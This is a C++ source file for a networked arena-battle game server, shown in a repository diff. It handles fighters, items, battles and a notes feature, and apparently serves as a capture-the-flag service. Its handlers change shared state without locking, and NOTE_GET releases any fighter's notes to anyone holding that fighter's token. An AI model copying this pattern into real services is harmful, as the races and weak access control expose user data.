||||||
|
std::string cmd_equip(int client_fd, const std::vector<std::string>& args) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
if (args.size() < 2) return "ERROR: Usage: EQUIP <slot> <item_id>";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
int slot = std::atoi(args[0].c_str());
|
||||||
|
int item_id = std::atoi(args[1].c_str());
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
|
||||||
|
auto it = std::find(f.inventory.begin(), f.inventory.end(), item_id);
|
||||||
|
if (it == f.inventory.end()) {
|
||||||
|
return "ERROR: Item not in inventory";
|
||||||
|
}
|
||||||
|
|
||||||
|
f.inventory.erase(it);
|
||||||
|
|
||||||
|
f.equipment[slot] = item_id;
|
||||||
|
f.last_activity = now();
|
||||||
|
|
||||||
|
if (items.count(item_id)) {
|
||||||
|
Item& item = items[item_id];
|
||||||
|
if (item.type == "weapon") {
|
||||||
|
f.strength += item.power;
|
||||||
|
} else if (item.type == "armor") {
|
||||||
|
f.max_hp += item.power * 2;
|
||||||
|
f.hp += item.power * 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "OK: Equipped item " + std::to_string(item_id) + " to slot " + std::to_string(slot);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_fight(int client_fd, const std::vector<std::string>& args) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
if (args.size() < 1) return "ERROR: Usage: FIGHT <opponent_id>";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
int opponent_id = std::atoi(args[0].c_str());
|
||||||
|
if (!fighters.count(opponent_id)) return "ERROR: Opponent not found";
|
||||||
|
if (opponent_id == fid) return "ERROR: Cannot fight yourself";
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
Fighter& opponent = fighters[opponent_id];
|
||||||
|
|
||||||
|
if (fighter_battle.count(fid) || fighter_battle.count(opponent_id)) {
|
||||||
|
return "ERROR: Already in battle";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create battle
|
||||||
|
Battle b;
|
||||||
|
b.id = next_battle_id++;
|
||||||
|
b.fighter1_id = fid;
|
||||||
|
b.fighter2_id = opponent_id;
|
||||||
|
b.current_turn = 1;
|
||||||
|
b.active = true;
|
||||||
|
b.created_at = now();
|
||||||
|
b.logs.push_back("Battle started: " + std::string(f.name) + " vs " + std::string(opponent.name));
|
||||||
|
|
||||||
|
battles[b.id] = b;
|
||||||
|
fighter_battle[fid] = b.id;
|
||||||
|
fighter_battle[opponent_id] = b.id;
|
||||||
|
|
||||||
|
f.last_activity = now();
|
||||||
|
opponent.last_activity = now();
|
||||||
|
|
||||||
|
return "OK: Battle " + std::to_string(b.id) + " started against " + opponent.name;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_attack(int client_fd, const std::vector<std::string>&) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
if (!fighter_battle.count(fid)) {
|
||||||
|
return "ERROR: Not in battle";
|
||||||
|
}
|
||||||
|
|
||||||
|
int bid = fighter_battle[fid];
|
||||||
|
if (!battles.count(bid)) return "ERROR: Battle not found";
|
||||||
|
|
||||||
|
Battle& b = battles[bid];
|
||||||
|
if (!b.active) return "ERROR: Battle already ended";
|
||||||
|
|
||||||
|
Fighter& attacker = fighters[fid];
|
||||||
|
int defender_id = (b.fighter1_id == fid) ? b.fighter2_id : b.fighter1_id;
|
||||||
|
Fighter& defender = fighters[defender_id];
|
||||||
|
|
||||||
|
// Calculate damage
|
||||||
|
int damage = attacker.strength + (attacker.agility / 2);
|
||||||
|
|
||||||
|
// Apply equipment bonuses
|
||||||
|
for (auto& eq : attacker.equipment) {
|
||||||
|
if (items.count(eq.second) && items[eq.second].type == "weapon") {
|
||||||
|
damage += items[eq.second].power;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reduce by armor
|
||||||
|
int armor = 0;
|
||||||
|
for (auto& eq : defender.equipment) {
|
||||||
|
if (items.count(eq.second) && items[eq.second].type == "armor") {
|
||||||
|
armor += items[eq.second].power;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
damage = std::max(1, damage - armor);
|
||||||
|
|
||||||
|
defender.hp -= damage;
|
||||||
|
b.logs.push_back(std::string(attacker.name) + " attacks " + std::string(defender.name) + " for " +
|
||||||
|
std::to_string(damage) + " damage (HP:" + std::to_string(defender.hp) + ")");
|
||||||
|
|
||||||
|
attacker.last_activity = now();
|
||||||
|
defender.last_activity = now();
|
||||||
|
|
||||||
|
// Check for death
|
||||||
|
if (defender.hp <= 0) {
|
||||||
|
b.active = false;
|
||||||
|
defender.hp = 0;
|
||||||
|
defender.active = false;
|
||||||
|
|
||||||
|
// Winner gets gold
|
||||||
|
int reward = defender.gold / 2;
|
||||||
|
attacker.gold += reward;
|
||||||
|
defender.gold = 0;
|
||||||
|
|
||||||
|
b.logs.push_back(std::string(attacker.name) + " wins! Gets " + std::to_string(reward) + " gold");
|
||||||
|
|
||||||
|
fighter_battle.erase(fid);
|
||||||
|
fighter_battle.erase(defender_id);
|
||||||
|
|
||||||
|
return "OK: " + std::string(defender.name) + " defeated! You get " + std::to_string(reward) + " gold";
|
||||||
|
}
|
||||||
|
|
||||||
|
b.current_turn++;
|
||||||
|
return "OK: Dealt " + std::to_string(damage) + " damage. Enemy HP:" + std::to_string(defender.hp);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_heal(int client_fd) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
|
||||||
|
// Find health potion in inventory
|
||||||
|
auto it = std::find(f.inventory.begin(), f.inventory.end(), 7); // Health Potion id=7
|
||||||
|
if (it == f.inventory.end()) {
|
||||||
|
// Try super potion
|
||||||
|
it = std::find(f.inventory.begin(), f.inventory.end(), 8);
|
||||||
|
if (it != f.inventory.end()) {
|
||||||
|
f.inventory.erase(it);
|
||||||
|
int heal = 50;
|
||||||
|
f.hp = std::min(f.max_hp, f.hp + heal);
|
||||||
|
f.last_activity = now();
|
||||||
|
return "OK: Used Super Potion. HP:" + std::to_string(f.hp);
|
||||||
|
}
|
||||||
|
return "ERROR: No potions in inventory";
|
||||||
|
}
|
||||||
|
|
||||||
|
f.inventory.erase(it);
|
||||||
|
int heal = 25;
|
||||||
|
f.hp = std::min(f.max_hp, f.hp + heal);
|
||||||
|
f.last_activity = now();
|
||||||
|
|
||||||
|
return "OK: Used Health Potion. HP:" + std::to_string(f.hp);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_status(int client_fd) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
if (!fighter_battle.count(fid)) {
|
||||||
|
return "STATUS: Not in battle";
|
||||||
|
}
|
||||||
|
|
||||||
|
int bid = fighter_battle[fid];
|
||||||
|
if (!battles.count(bid)) return "ERROR: Battle not found";
|
||||||
|
|
||||||
|
Battle& b = battles[bid];
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
int opponent_id = (b.fighter1_id == fid) ? b.fighter2_id : b.fighter1_id;
|
||||||
|
Fighter& opponent = fighters[opponent_id];
|
||||||
|
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << "BATTLE " << b.id << " (Turn " << b.current_turn << "): ";
|
||||||
|
ss << f.name << " HP:" << f.hp << " vs " << opponent.name << " HP:" << opponent.hp;
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_logout(int client_fd) {
|
||||||
|
if (client_fighter.count(client_fd)) {
|
||||||
|
client_fighter.erase(client_fd);
|
||||||
|
}
|
||||||
|
return "OK: Logged out";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_note_create(int client_fd, const std::vector<std::string>& args) {
|
||||||
|
if (!client_fighter.count(client_fd)) return "ERROR: Not registered";
|
||||||
|
if (args.size() < 2) return "ERROR: Usage: NOTE_CREATE <title> <content>";
|
||||||
|
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (!fighters.count(fid)) return "ERROR: Fighter not found";
|
||||||
|
|
||||||
|
Fighter& f = fighters[fid];
|
||||||
|
|
||||||
|
Note note;
|
||||||
|
note.id = f.notes.size() + 1;
|
||||||
|
strncpy(note.title, args[0].c_str(), sizeof(note.title) - 1);
|
||||||
|
note.title[sizeof(note.title) - 1] = '\0';
|
||||||
|
strncpy(note.content, args[1].c_str(), sizeof(note.content) - 1);
|
||||||
|
note.content[sizeof(note.content) - 1] = '\0';
|
||||||
|
note.created_at = now();
|
||||||
|
|
||||||
|
f.notes.push_back(note);
|
||||||
|
f.last_activity = now();
|
||||||
|
|
||||||
|
return "OK: Note created with id " + std::to_string(note.id);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string cmd_note_get(const std::vector<std::string>& args) {
|
||||||
|
if (args.size() < 1) return "ERROR: Usage: NOTE_GET <auth_token> [note_id]";
|
||||||
|
|
||||||
|
std::string auth_token = args[0];
|
||||||
|
int note_id = (args.size() > 1) ? std::atoi(args[1].c_str()) : -1;
|
||||||
|
|
||||||
|
Fighter* target_fighter = nullptr;
|
||||||
|
for (auto& fp : fighters) {
|
||||||
|
if (fp.second.auth_token == auth_token) {
|
||||||
|
target_fighter = &fp.second;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!target_fighter) {
|
||||||
|
return "ERROR: Invalid auth token";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (note_id < 0) {
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << "NOTES: ";
|
||||||
|
for (const auto& note : target_fighter->notes) {
|
||||||
|
ss << note.id << ":" << note.title << " ";
|
||||||
|
}
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const auto& note : target_fighter->notes) {
|
||||||
|
if (note.id == note_id) {
|
||||||
|
return "NOTE " + std::to_string(note.id) + ": " + note.title + " | " + note.content;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "ERROR: Note not found";
|
||||||
|
}
|
||||||
|
|
||||||
|
void handle_client(int client_fd) {
|
||||||
|
char buffer[1024];
|
||||||
|
|
||||||
|
struct sockaddr_in client_addr;
|
||||||
|
socklen_t client_len = sizeof(client_addr);
|
||||||
|
getpeername(client_fd, (struct sockaddr*)&client_addr, &client_len);
|
||||||
|
std::string client_str = std::string(inet_ntoa(client_addr.sin_addr)) + ":" +
|
||||||
|
std::to_string(ntohs(client_addr.sin_port));
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
memset(buffer, 0, sizeof(buffer));
|
||||||
|
int bytes_read = read(client_fd, buffer, sizeof(buffer) - 1);
|
||||||
|
|
||||||
|
if (bytes_read <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string line(buffer);
|
||||||
|
line = trim(line);
|
||||||
|
|
||||||
|
if (line.empty()) continue;
|
||||||
|
|
||||||
|
std::vector<std::string> parts = split(line, ' ');
|
||||||
|
if (parts.empty()) continue;
|
||||||
|
|
||||||
|
std::string cmd = parts[0];
|
||||||
|
std::vector<std::string> args(parts.begin() + 1, parts.end());
|
||||||
|
|
||||||
|
LOG(client_str + " " + line);
|
||||||
|
|
||||||
|
std::string response;
|
||||||
|
|
||||||
|
if (cmd == "REGISTER") {
|
||||||
|
response = cmd_register(client_fd, args);
|
||||||
|
} else if (cmd == "FIGHTER") {
|
||||||
|
response = cmd_fighter(client_fd, args);
|
||||||
|
} else if (cmd == "BUY") {
|
||||||
|
response = cmd_buy(client_fd, args);
|
||||||
|
} else if (cmd == "INVENTORY") {
|
||||||
|
response = cmd_inventory(client_fd);
|
||||||
|
} else if (cmd == "EQUIP") {
|
||||||
|
response = cmd_equip(client_fd, args);
|
||||||
|
} else if (cmd == "FIGHT") {
|
||||||
|
response = cmd_fight(client_fd, args);
|
||||||
|
} else if (cmd == "ATTACK") {
|
||||||
|
response = cmd_attack(client_fd, args);
|
||||||
|
} else if (cmd == "HEAL") {
|
||||||
|
response = cmd_heal(client_fd);
|
||||||
|
} else if (cmd == "STATUS") {
|
||||||
|
response = cmd_status(client_fd);
|
||||||
|
} else if (cmd == "NOTE_CREATE") {
|
||||||
|
response = cmd_note_create(client_fd, args);
|
||||||
|
} else if (cmd == "NOTE_GET") {
|
||||||
|
response = cmd_note_get(args);
|
||||||
|
} else if (cmd == "LOGOUT") {
|
||||||
|
response = cmd_logout(client_fd);
|
||||||
|
} else if (cmd == "QUIT" || cmd == "EXIT") {
|
||||||
|
response = "BYE";
|
||||||
|
write(client_fd, response.c_str(), response.length());
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
response = "ERROR: Unknown command: " + cmd;
|
||||||
|
}
|
||||||
|
|
||||||
|
response += "\n";
|
||||||
|
write(client_fd, response.c_str(), response.length());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
if (client_fighter.count(client_fd)) {
|
||||||
|
int fid = client_fighter[client_fd];
|
||||||
|
if (fighter_battle.count(fid)) {
|
||||||
|
int bid = fighter_battle[fid];
|
||||||
|
if (battles.count(bid)) {
|
||||||
|
battles[bid].active = false;
|
||||||
|
}
|
||||||
|
fighter_battle.erase(fid);
|
||||||
|
}
|
||||||
|
client_fighter.erase(client_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(client_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
void cleanup_thread() {
|
||||||
|
while (true) {
|
||||||
|
std::this_thread::sleep_for(std::chrono::minutes(5));
|
||||||
|
|
||||||
|
std::lock_guard<std::mutex> lock(state_mutex);
|
||||||
|
|
||||||
|
auto it = fighters.begin();
|
||||||
|
while (it != fighters.end()) {
|
||||||
|
int64_t inactive_seconds = seconds_since(it->second.last_activity);
|
||||||
|
if (inactive_seconds > 3600) {
|
||||||
|
int fid = it->first;
|
||||||
|
|
||||||
|
if (fighter_battle.count(fid)) {
|
||||||
|
int bid = fighter_battle[fid];
|
||||||
|
if (battles.count(bid)) {
|
||||||
|
battles[bid].active = false;
|
||||||
|
}
|
||||||
|
fighter_battle.erase(fid);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (auto cf = client_fighter.begin(); cf != client_fighter.end(); ) {
|
||||||
|
if (cf->second == fid) {
|
||||||
|
close(cf->first);
|
||||||
|
cf = client_fighter.erase(cf);
|
||||||
|
} else {
|
||||||
|
++cf;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
it = fighters.erase(it);
|
||||||
|
LOG("Cleanup: removed fighter " + std::to_string(fid));
|
||||||
|
} else {
|
||||||
|
++it;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (auto& bp : battles) {
|
||||||
|
if (!bp.second.active) {
|
||||||
|
int64_t age = seconds_since(bp.second.created_at);
|
||||||
|
if (age > 3600) {
|
||||||
|
fighter_battle.erase(bp.second.fighter1_id);
|
||||||
|
fighter_battle.erase(bp.second.fighter2_id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
int port = 31337;
|
||||||
|
if (argc > 1) {
|
||||||
|
port = std::atoi(argv[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
init_items();
|
||||||
|
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
|
||||||
|
log_file.open("logs/server.log", std::ios::app);
|
||||||
|
if (!log_file.is_open()) {
|
||||||
|
log_file.open("/var/log/arena-battle/server.log", std::ios::app);
|
||||||
|
}
|
||||||
|
if (!log_file.is_open()) {
|
||||||
|
log_file.open("server.log", std::ios::app);
|
||||||
|
}
|
||||||
|
LOG("Server started on port " + std::to_string(port));
|
||||||
|
|
||||||
|
std::thread cleanup(cleanup_thread);
|
||||||
|
cleanup.detach();
|
||||||
|
|
||||||
|
int server_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (server_fd < 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int opt = 1;
|
||||||
|
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||||
|
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
memset(&addr, 0, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_addr.s_addr = INADDR_ANY;
|
||||||
|
addr.sin_port = htons(port);
|
||||||
|
|
||||||
|
if (bind(server_fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (listen(server_fd, 10) < 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Listening on port " + std::to_string(port));
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
struct sockaddr_in client_addr;
|
||||||
|
socklen_t client_len = sizeof(client_addr);
|
||||||
|
|
||||||
|
int client_fd = accept(server_fd, (struct sockaddr*)&client_addr, &client_len);
|
||||||
|
if (client_fd < 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string client_str = std::string(inet_ntoa(client_addr.sin_addr)) + ":" +
|
||||||
|
std::to_string(ntohs(client_addr.sin_port));
|
||||||
|
LOG("Connect " + client_str);
|
||||||
|
|
||||||
|
std::thread client_thread(handle_client, client_fd);
|
||||||
|
client_thread.detach();
|
||||||
|
}
|
||||||
|
|
||||||
|
close(server_fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
Before Width: | Height: | Size: 357 KiB After Width: | Height: | Size: 357 KiB |
|
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 137 KiB |
|
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 48 KiB |
|
Before Width: | Height: | Size: 186 KiB After Width: | Height: | Size: 186 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 127 KiB After Width: | Height: | Size: 127 KiB |
|
Before Width: | Height: | Size: 37 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 133 KiB After Width: | Height: | Size: 133 KiB |
|
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 40 KiB |
|
Before Width: | Height: | Size: 180 KiB After Width: | Height: | Size: 180 KiB |
|
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 42 KiB |
|
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 142 KiB |
|
Before Width: | Height: | Size: 44 KiB After Width: | Height: | Size: 44 KiB |
|
Before Width: | Height: | Size: 148 KiB After Width: | Height: | Size: 148 KiB |
|
Before Width: | Height: | Size: 50 KiB After Width: | Height: | Size: 50 KiB |
|
Before Width: | Height: | Size: 147 KiB After Width: | Height: | Size: 147 KiB |
|
Before Width: | Height: | Size: 52 KiB After Width: | Height: | Size: 52 KiB |
|
Before Width: | Height: | Size: 204 KiB After Width: | Height: | Size: 204 KiB |
|
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 160 KiB |
|
Before Width: | Height: | Size: 89 KiB After Width: | Height: | Size: 89 KiB |
|
Before Width: | Height: | Size: 329 KiB After Width: | Height: | Size: 329 KiB |
|
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 76 KiB |
|
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
|
Before Width: | Height: | Size: 49 KiB After Width: | Height: | Size: 49 KiB |
|
Before Width: | Height: | Size: 173 KiB After Width: | Height: | Size: 173 KiB |
|
Before Width: | Height: | Size: 50 KiB After Width: | Height: | Size: 50 KiB |
|
Before Width: | Height: | Size: 147 KiB After Width: | Height: | Size: 147 KiB |
|
Before Width: | Height: | Size: 44 KiB After Width: | Height: | Size: 44 KiB |
|
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 142 KiB |
|
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 39 KiB |